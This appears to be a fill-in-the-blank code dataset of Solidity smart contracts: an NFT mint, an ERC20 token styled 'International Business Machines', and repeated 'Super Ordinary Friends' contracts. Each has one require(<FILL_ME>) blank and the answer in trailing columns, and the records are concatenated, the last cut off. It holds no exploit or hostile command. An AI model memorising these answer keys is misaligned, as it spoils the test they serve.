import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
contract PaperCompatibleContract is
ERC721,
ERC721Enumerable,
Ownable,
ERC721Royalty,
DefaultOperatorFilterer
{
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
string public uriPrefix;
string public contractURI;
uint public maxSupply;
uint public startsAt;
uint public startPrice;
uint public floorPrice;
/// @custom:oz-upgrades-unsafe-allow constructor
constructor(uint _startsAt, string memory _uriPrefix, string memory _contractURI) ERC721("PLACEHOLDER", "PLACEHOLDER") {
}
function isLive() public view returns (bool) {
}
function price() public view returns(uint){
}
function remainingSupply() public view returns(uint) {
}
function safeMint(address _to, uint quantity) private
{
}
function publicMint(address _to)
external
payable
{
}
function adminMint(address _to, uint quantity)
external
payable
onlyOwner
{
require(<FILL_ME>)
safeMint(_to, quantity);
}
function getClaimIneligibilityReason() external view returns (string memory) {
}
/*
* Set secondary market royalties using the EIP2981 standard
* Royalties will be sent to the supplied `reciever` address
* The royalty is calcuated feeNumerator / 10000
* A 5% royalty, would use a feeNumerator of 500 (500/10000=.05)
*/
function setRoyalties(address reciever, uint96 feeNumerator) external onlyOwner {
}
function setStartsAt(uint256 _startsAt) public onlyOwner {
}
function setUriPrefix(string memory _prefix) public onlyOwner {
}
function withdraw(address payable _to) external onlyOwner {
}
function tokenURI(uint256 _tokenId) public view virtual override (ERC721) returns (string memory) {
}
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize) internal override(ERC721, ERC721Enumerable) {
}
function _burn(uint256 tokenId) internal override(ERC721,ERC721Royalty) {
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable, ERC721Royalty) returns (bool) {
}
// The following functions are required by OpenSea Operator Filter (https://github.com/ProjectOpenSea/operator-filter-registry)
function setApprovalForAll(address operator, bool approved) public override(ERC721,IERC721) onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public override(ERC721,IERC721) onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public override(ERC721,IERC721) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override(ERC721,IERC721) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override(ERC721,IERC721) onlyAllowedOperator(from)
{
}
}
| remainingSupply()>=quantity,"Collection is sold out" | 127,789 | remainingSupply()>=quantity |
"Account is already set to that state" | /*
~~~> https://ibm-erc.com
~~~> https://t.me/IBM_Portal
~~~> https://twitter.com/IBM_ERC
:=========== :=============-:. -========- -========:
.::::::::::: :::::::::::::::::. .:::::::::. .:::::::::.
.::::::::::: .:::::::::::::::::. .:::::::::: ::::::::::.
.====- ====- .====- .======== .========.
.... .............. ......... .........
::::: :::::::::::::. .:::::::::::::::::::.
.----: -------------. .----:.-------.:----.
.... ..... .... .... ..... ....
.----: ----- .----- .----: ----- :----.
.::::::::::: .:::::::::::::::::: .:::::::. ::: .::::::::
........... ................. ....... ... ........
:=========== :=============-:. :=======: : :=======-
International Business Machines
// SPDX-License-Identifier: MIT
*/
pragma solidity 0.8.20;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _init(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract IBM is ERC20, Ownable {
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping (address => bool) private _isExcludedFromFees;
uint256 public tradingActiveTime;
uint256 private buyFee;
uint256 private sellFee;
address public TeamWallet;
address private DEAD = 0x000000000000000000000000000000000000dEaD;
bool public tradingEnabled;
uint256 public swapTokensAtAmount;
bool private swapping;
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludedFromLimits(address indexed account, bool isExcluded);
event MaxWalletLimitAmountChanged(uint256 maxWalletLimitRate);
event MaxTransactionLimitAmountChanged(uint256 maxTransferRate);
event LimitsStateChanged(bool limitsEnabled);
event SwapTokensAtAmountUpdated(uint256 swapTokensAtAmount);
event SwapAndSend(uint256 tokensSwapped, uint256 valueReceived);
event SwapWithLimitUpdated(bool swapWithLimit);
constructor () ERC20("International Business Machines", "IBM")
{
}
receive() external payable {
}
function enableTrading() public onlyOwner{
}
function claimStuckTokens(address token) external onlyOwner {
}
function getBuyFee() public view returns (uint256) {
}
function getSellFee() public view returns (uint256) {
}
function excludeFromFees(address account, bool excluded) external onlyOwner{
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function changeTeamWallet(address _TeamWallet) external onlyOwner {
}
function _transfer(address from,address to,uint256 amount) internal override {
}
function setSwapTokensAtAmount(uint256 newAmount) external onlyOwner{
}
function swap(uint256 tokenAmount) private {
}
mapping(address => bool) private _isExcludedFromMaxWalletLimit;
mapping(address => bool) private _isExcludedFromMaxTxLimit;
bool public limitsEnabled = true;
bool public maxWalletLimitEnabled = true;
bool public maxTransactionLimitEnabled = true;
uint256 public maxWalletAmount;
uint256 public maxTransactionAmount;
function setEnableLimits(bool enable) external onlyOwner {
}
function setMaxWalletAmount(uint256 _maxWalletAmount) external onlyOwner {
}
function setExcludeFromLimits(address account, bool exclude) external onlyOwner {
require(<FILL_ME>)
_isExcludedFromMaxWalletLimit[account] = exclude;
_isExcludedFromMaxTxLimit[account] = exclude;
emit ExcludedFromLimits(account, exclude);
}
function isExcludedFromMaxWalletLimit(address account) public view returns(bool) {
}
function isExcludedFromMaxTransaction(address account) public view returns(bool) {
}
function setMaxTransactionAmount(uint256 _maxTransactionAmount) external onlyOwner {
}
}
| _isExcludedFromMaxWalletLimit[account]!=exclude&&_isExcludedFromMaxTxLimit[account]!=exclude,"Account is already set to that state" | 127,891 | _isExcludedFromMaxWalletLimit[account]!=exclude&&_isExcludedFromMaxTxLimit[account]!=exclude |
'exceed max supply' | //SPDX-License-Identifier: Unlicense
// Creator: Pixel8 Labs
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import '@openzeppelin/contracts/security/Pausable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/finance/PaymentSplitter.sol';
import '@openzeppelin/contracts/utils/math/Math.sol';
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import './lib/ERC721Base.sol';
import './lib/Signature.sol';
contract SuperOrdinaryFriends is
ERC721Base,
AccessControl,
Pausable,
ReentrancyGuard,
Ownable
{
uint256 public maxPerTx = 20;
enum Phases {
CLOSED,
OGLIST,
WHITELIST,
WAITLIST,
PUBLIC
}
Phases public phase = Phases.CLOSED;
mapping(Phases => uint256) public price;
mapping(Phases => address) public signer;
constructor(
address royaltyReceiver,
uint96 royaltyFraction,
string memory _tokenURI
)
ERC721Base(
_tokenURI,
'Super Ordinary Friends',
'SOF',
2500,
royaltyReceiver,
royaltyFraction
)
Ownable()
{
}
modifier canMint(uint256 amount, uint256 p) {
uint256 supply = totalSupply();
require(msg.value == p * amount, 'insufficient fund');
require(<FILL_ME>)
require(tx.origin == msg.sender, 'invalid source');
_;
}
function mint(uint256 amount)
external
payable
canMint(amount, price[Phases.PUBLIC])
whenNotPaused
nonReentrant
{
}
function ogMint(
uint256 amount,
uint256 maxAmount,
bytes memory signature
)
external
payable
canMint(amount, price[Phases.OGLIST])
whenNotPaused
nonReentrant
{
}
function whitelistMint(
uint256 amount,
uint256 maxAmount,
bytes memory signature
)
external
payable
canMint(amount, price[Phases.WHITELIST])
whenNotPaused
nonReentrant
{
}
function waitlistMint(
uint256 amount,
uint256 maxAmount,
bytes memory signature
)
external
payable
canMint(amount, price[Phases.WAITLIST])
whenNotPaused
nonReentrant
{
}
function _verifyMint(
uint256 amount,
uint256 maxAmount,
bytes memory signature,
address _signer
) internal {
}
function claimed(address target) external view returns (uint256) {
}
function airdrop(address wallet, uint256 amount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function airdrops(address[] calldata wallet, uint256[] calldata amount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
// Minting fee
function setPrice(Phases _p, uint256 amount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function claim() external onlyOwner {
}
function claim(IERC20 token) external onlyOwner {
}
// Metadata
function setTokenURI(string calldata uri_)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function baseTokenURI() external view returns (string memory) {
}
// Signer
function setSigner(Phases _p, address _signer)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setFilter(bool v) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
// Phases
function setPause(bool pause) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setPhase(Phases _phase) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMaxSupply(uint256 amount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setMaxPerTx(uint256 amount) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
// Set default royalty to be used for all token sale
function setDefaultRoyalty(address _receiver, uint96 _fraction)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setTokenRoyalty(
uint256 _tokenId,
address _receiver,
uint96 _fraction
) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Base, AccessControl)
returns (bool)
{
}
}
| supply+amount<=MAX_SUPPLY,'exceed max supply' | 127,917 | supply+amount<=MAX_SUPPLY |
'exceeded max per wallet' | //SPDX-License-Identifier: Unlicense
// Creator: Pixel8 Labs
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import '@openzeppelin/contracts/security/Pausable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/finance/PaymentSplitter.sol';
import '@openzeppelin/contracts/utils/math/Math.sol';
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import './lib/ERC721Base.sol';
import './lib/Signature.sol';
contract SuperOrdinaryFriends is
ERC721Base,
AccessControl,
Pausable,
ReentrancyGuard,
Ownable
{
uint256 public maxPerTx = 20;
enum Phases {
CLOSED,
OGLIST,
WHITELIST,
WAITLIST,
PUBLIC
}
Phases public phase = Phases.CLOSED;
mapping(Phases => uint256) public price;
mapping(Phases => address) public signer;
constructor(
address royaltyReceiver,
uint96 royaltyFraction,
string memory _tokenURI
)
ERC721Base(
_tokenURI,
'Super Ordinary Friends',
'SOF',
2500,
royaltyReceiver,
royaltyFraction
)
Ownable()
{
}
modifier canMint(uint256 amount, uint256 p) {
}
function mint(uint256 amount)
external
payable
canMint(amount, price[Phases.PUBLIC])
whenNotPaused
nonReentrant
{
}
function ogMint(
uint256 amount,
uint256 maxAmount,
bytes memory signature
)
external
payable
canMint(amount, price[Phases.OGLIST])
whenNotPaused
nonReentrant
{
}
function whitelistMint(
uint256 amount,
uint256 maxAmount,
bytes memory signature
)
external
payable
canMint(amount, price[Phases.WHITELIST])
whenNotPaused
nonReentrant
{
}
function waitlistMint(
uint256 amount,
uint256 maxAmount,
bytes memory signature
)
external
payable
canMint(amount, price[Phases.WAITLIST])
whenNotPaused
nonReentrant
{
}
function _verifyMint(
uint256 amount,
uint256 maxAmount,
bytes memory signature,
address _signer
) internal {
uint64 aux = _getAux(msg.sender);
require(<FILL_ME>)
require(
Signature.verify(maxAmount, msg.sender, signature) == _signer,
'invalid signature'
);
_setAux(msg.sender, aux + uint64(amount));
}
function claimed(address target) external view returns (uint256) {
}
function airdrop(address wallet, uint256 amount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function airdrops(address[] calldata wallet, uint256[] calldata amount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
// Minting fee
function setPrice(Phases _p, uint256 amount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function claim() external onlyOwner {
}
function claim(IERC20 token) external onlyOwner {
}
// Metadata
function setTokenURI(string calldata uri_)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function baseTokenURI() external view returns (string memory) {
}
// Signer
function setSigner(Phases _p, address _signer)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setFilter(bool v) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
// Phases
function setPause(bool pause) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setPhase(Phases _phase) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMaxSupply(uint256 amount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setMaxPerTx(uint256 amount) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
// Set default royalty to be used for all token sale
function setDefaultRoyalty(address _receiver, uint96 _fraction)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setTokenRoyalty(
uint256 _tokenId,
address _receiver,
uint96 _fraction
) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Base, AccessControl)
returns (bool)
{
}
}
| aux+amount<=maxAmount,'exceeded max per wallet' | 127,917 | aux+amount<=maxAmount |
'invalid signature' | //SPDX-License-Identifier: Unlicense
// Creator: Pixel8 Labs
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import '@openzeppelin/contracts/security/Pausable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/finance/PaymentSplitter.sol';
import '@openzeppelin/contracts/utils/math/Math.sol';
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import './lib/ERC721Base.sol';
import './lib/Signature.sol';
contract SuperOrdinaryFriends is
ERC721Base,
AccessControl,
Pausable,
ReentrancyGuard,
Ownable
{
uint256 public maxPerTx = 20;
enum Phases {
CLOSED,
OGLIST,
WHITELIST,
WAITLIST,
PUBLIC
}
Phases public phase = Phases.CLOSED;
mapping(Phases => uint256) public price;
mapping(Phases => address) public signer;
constructor(
address royaltyReceiver,
uint96 royaltyFraction,
string memory _tokenURI
)
ERC721Base(
_tokenURI,
'Super Ordinary Friends',
'SOF',
2500,
royaltyReceiver,
royaltyFraction
)
Ownable()
{
}
modifier canMint(uint256 amount, uint256 p) {
}
function mint(uint256 amount)
external
payable
canMint(amount, price[Phases.PUBLIC])
whenNotPaused
nonReentrant
{
}
function ogMint(
uint256 amount,
uint256 maxAmount,
bytes memory signature
)
external
payable
canMint(amount, price[Phases.OGLIST])
whenNotPaused
nonReentrant
{
}
function whitelistMint(
uint256 amount,
uint256 maxAmount,
bytes memory signature
)
external
payable
canMint(amount, price[Phases.WHITELIST])
whenNotPaused
nonReentrant
{
}
function waitlistMint(
uint256 amount,
uint256 maxAmount,
bytes memory signature
)
external
payable
canMint(amount, price[Phases.WAITLIST])
whenNotPaused
nonReentrant
{
}
function _verifyMint(
uint256 amount,
uint256 maxAmount,
bytes memory signature,
address _signer
) internal {
uint64 aux = _getAux(msg.sender);
require(aux + amount <= maxAmount, 'exceeded max per wallet');
require(<FILL_ME>)
_setAux(msg.sender, aux + uint64(amount));
}
function claimed(address target) external view returns (uint256) {
}
function airdrop(address wallet, uint256 amount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function airdrops(address[] calldata wallet, uint256[] calldata amount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
// Minting fee
function setPrice(Phases _p, uint256 amount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function claim() external onlyOwner {
}
function claim(IERC20 token) external onlyOwner {
}
// Metadata
function setTokenURI(string calldata uri_)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function baseTokenURI() external view returns (string memory) {
}
// Signer
function setSigner(Phases _p, address _signer)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setFilter(bool v) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
// Phases
function setPause(bool pause) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setPhase(Phases _phase) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMaxSupply(uint256 amount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setMaxPerTx(uint256 amount) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
// Set default royalty to be used for all token sale
function setDefaultRoyalty(address _receiver, uint96 _fraction)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setTokenRoyalty(
uint256 _tokenId,
address _receiver,
uint96 _fraction
) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Base, AccessControl)
returns (bool)
{
}
}
| Signature.verify(maxAmount,msg.sender,signature)==_signer,'invalid signature' | 127,917 | Signature.verify(maxAmount,msg.sender,signature)==_signer |
'exceed max supply' | //SPDX-License-Identifier: Unlicense
// Creator: Pixel8 Labs
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import '@openzeppelin/contracts/security/Pausable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/finance/PaymentSplitter.sol';
import '@openzeppelin/contracts/utils/math/Math.sol';
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import './lib/ERC721Base.sol';
import './lib/Signature.sol';
contract SuperOrdinaryFriends is
ERC721Base,
AccessControl,
Pausable,
ReentrancyGuard,
Ownable
{
uint256 public maxPerTx = 20;
enum Phases {
CLOSED,
OGLIST,
WHITELIST,
WAITLIST,
PUBLIC
}
Phases public phase = Phases.CLOSED;
mapping(Phases => uint256) public price;
mapping(Phases => address) public signer;
constructor(
address royaltyReceiver,
uint96 royaltyFraction,
string memory _tokenURI
)
ERC721Base(
_tokenURI,
'Super Ordinary Friends',
'SOF',
2500,
royaltyReceiver,
royaltyFraction
)
Ownable()
{
}
modifier canMint(uint256 amount, uint256 p) {
}
function mint(uint256 amount)
external
payable
canMint(amount, price[Phases.PUBLIC])
whenNotPaused
nonReentrant
{
}
function ogMint(
uint256 amount,
uint256 maxAmount,
bytes memory signature
)
external
payable
canMint(amount, price[Phases.OGLIST])
whenNotPaused
nonReentrant
{
}
function whitelistMint(
uint256 amount,
uint256 maxAmount,
bytes memory signature
)
external
payable
canMint(amount, price[Phases.WHITELIST])
whenNotPaused
nonReentrant
{
}
function waitlistMint(
uint256 amount,
uint256 maxAmount,
bytes memory signature
)
external
payable
canMint(amount, price[Phases.WAITLIST])
whenNotPaused
nonReentrant
{
}
function _verifyMint(
uint256 amount,
uint256 maxAmount,
bytes memory signature,
address _signer
) internal {
}
function claimed(address target) external view returns (uint256) {
}
function airdrop(address wallet, uint256 amount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function airdrops(address[] calldata wallet, uint256[] calldata amount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
uint256 supply = totalSupply();
require(wallet.length == amount.length, 'length mismatch');
for (uint256 i = 0; i < wallet.length; i++) {
require(<FILL_ME>)
_safeMint(wallet[i], amount[i]);
}
}
// Minting fee
function setPrice(Phases _p, uint256 amount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function claim() external onlyOwner {
}
function claim(IERC20 token) external onlyOwner {
}
// Metadata
function setTokenURI(string calldata uri_)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function baseTokenURI() external view returns (string memory) {
}
// Signer
function setSigner(Phases _p, address _signer)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setFilter(bool v) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
// Phases
function setPause(bool pause) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setPhase(Phases _phase) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMaxSupply(uint256 amount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setMaxPerTx(uint256 amount) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
// Set default royalty to be used for all token sale
function setDefaultRoyalty(address _receiver, uint96 _fraction)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setTokenRoyalty(
uint256 _tokenId,
address _receiver,
uint96 _fraction
) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Base, AccessControl)
returns (bool)
{
}
}
| supply+amount[i]<=MAX_SUPPLY,'exceed max supply' | 127,917 | supply+amount[i]<=MAX_SUPPLY |
'Signer address is not set' | //SPDX-License-Identifier: Unlicense
// Creator: Pixel8 Labs
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import '@openzeppelin/contracts/security/Pausable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/finance/PaymentSplitter.sol';
import '@openzeppelin/contracts/utils/math/Math.sol';
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import './lib/ERC721Base.sol';
import './lib/Signature.sol';
contract SuperOrdinaryFriends is
ERC721Base,
AccessControl,
Pausable,
ReentrancyGuard,
Ownable
{
uint256 public maxPerTx = 20;
enum Phases {
CLOSED,
OGLIST,
WHITELIST,
WAITLIST,
PUBLIC
}
Phases public phase = Phases.CLOSED;
mapping(Phases => uint256) public price;
mapping(Phases => address) public signer;
constructor(
address royaltyReceiver,
uint96 royaltyFraction,
string memory _tokenURI
)
ERC721Base(
_tokenURI,
'Super Ordinary Friends',
'SOF',
2500,
royaltyReceiver,
royaltyFraction
)
Ownable()
{
}
modifier canMint(uint256 amount, uint256 p) {
}
function mint(uint256 amount)
external
payable
canMint(amount, price[Phases.PUBLIC])
whenNotPaused
nonReentrant
{
}
function ogMint(
uint256 amount,
uint256 maxAmount,
bytes memory signature
)
external
payable
canMint(amount, price[Phases.OGLIST])
whenNotPaused
nonReentrant
{
}
function whitelistMint(
uint256 amount,
uint256 maxAmount,
bytes memory signature
)
external
payable
canMint(amount, price[Phases.WHITELIST])
whenNotPaused
nonReentrant
{
}
function waitlistMint(
uint256 amount,
uint256 maxAmount,
bytes memory signature
)
external
payable
canMint(amount, price[Phases.WAITLIST])
whenNotPaused
nonReentrant
{
}
function _verifyMint(
uint256 amount,
uint256 maxAmount,
bytes memory signature,
address _signer
) internal {
}
function claimed(address target) external view returns (uint256) {
}
function airdrop(address wallet, uint256 amount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function airdrops(address[] calldata wallet, uint256[] calldata amount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
// Minting fee
function setPrice(Phases _p, uint256 amount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function claim() external onlyOwner {
}
function claim(IERC20 token) external onlyOwner {
}
// Metadata
function setTokenURI(string calldata uri_)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function baseTokenURI() external view returns (string memory) {
}
// Signer
function setSigner(Phases _p, address _signer)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setFilter(bool v) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
// Phases
function setPause(bool pause) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setPhase(Phases _phase) external onlyRole(DEFAULT_ADMIN_ROLE) {
if (
_phase == Phases.OGLIST ||
_phase == Phases.WHITELIST ||
_phase == Phases.WAITLIST
) {
require(<FILL_ME>)
}
phase = _phase;
}
function setMaxSupply(uint256 amount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setMaxPerTx(uint256 amount) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
// Set default royalty to be used for all token sale
function setDefaultRoyalty(address _receiver, uint96 _fraction)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setTokenRoyalty(
uint256 _tokenId,
address _receiver,
uint96 _fraction
) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Base, AccessControl)
